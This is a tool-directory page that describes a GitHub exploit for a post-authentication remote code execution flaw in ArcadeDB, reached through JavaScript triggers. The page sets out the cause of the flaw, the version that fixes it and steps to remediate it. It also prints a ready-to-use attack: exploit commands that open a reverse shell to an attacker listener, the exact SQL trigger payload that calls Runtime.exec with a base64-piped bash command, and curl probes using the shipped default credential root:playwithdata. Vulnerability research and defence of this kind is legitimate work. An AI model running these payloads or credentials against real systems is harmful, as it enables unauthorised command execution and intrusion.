Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-67340_exploit — Post-auth RCE exploit for ArcadeDB via JavaScript trigger GraalVM sandbox escape, executing OS commands over HTTP API with reverse shell or blind command modes. | Kitploit
Tools/GitHubGitHub/0xdak/cve-2026-67340_exploit
ExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

Post-auth RCE exploit for ArcadeDB via JavaScript trigger GraalVM sandbox escape, executing OS commands over HTTP API with reverse shell or blind command modes.

View Repository
463 months agoNot yet reviewed
Share

CVE-2026-67340 — ArcadeDB JAVASCRIPT Trigger-Script RCE (post-auth)

Post-authentication remote code execution in ArcadeDB (a Java multi-model database) via a JAVASCRIPT trigger that reaches host classes.

A trigger's GraalVM polyglot engine is built with a host-class allow-list that includes java.lang.* (ScriptTriggerExecutor.setAllowedPackages), so a trigger script can call:

Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) does not block it — Runtime.exec is a host method call permitted by HostAccess.ALL, not GraalVM's guest process API. Creating a trigger needs only the UPDATE_SCHEMA permission (weaker than the UPDATE_SECURITY that gates direct scripting), so root can do it — a post-auth RCE over the HTTP API.

  • Affected: ArcadeDB < 26.7.2 (0 – 26.7.1)
  • Fixed: 26.7.2 (removes java.lang.* from the trigger allow-list + adds a literal HostClassLookupFilter with a process/reflection/classloader deny-list)
  • Default port: 2480 (HTTP API + Studio; Basic auth)
  • CWE: 94 (Code Injection) / sandbox escape
  • Impact: OS command execution as the ArcadeDB process user

The direct language:js command path is not the vector — it has no allowed packages (Java.type blocked) and is gated behind UPDATE_SECURITY. Only the trigger executor hard-codes java.lang.*.

Requirements

Python 3 standard library only — no dependencies. Valid ArcadeDB credentials with UPDATE_SCHEMA (e.g. root). ArcadeDB has no hard-coded default password, but its own docker-compose.yml ships the example root:playwithdata, which is a common leave-in-place credential.

Usage

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

How it works

Three authenticated POST /api/v1/command/<db> requests (language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — the BEFORE CREATE trigger fires and the JavaScript executes.

The OS command is base64-wrapped so the JavaScript/SQL/JSON layers need no nested-quote escaping, and the script omits waitFor() so exec returns immediately (the child keeps running, the request doesn't block).

Identifying a target

curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

Remediation

Upgrade to ArcadeDB ≥ 26.7.2, set a strong rootPassword (never playwithdata), don't run ArcadeDB as root, restrict UPDATE_SCHEMA, and keep the HTTP API/Studio off untrusted networks.

Disclaimer

For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    668
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    496
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    394
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    254

Explore all tools

Browse our collection of tools

View all tools →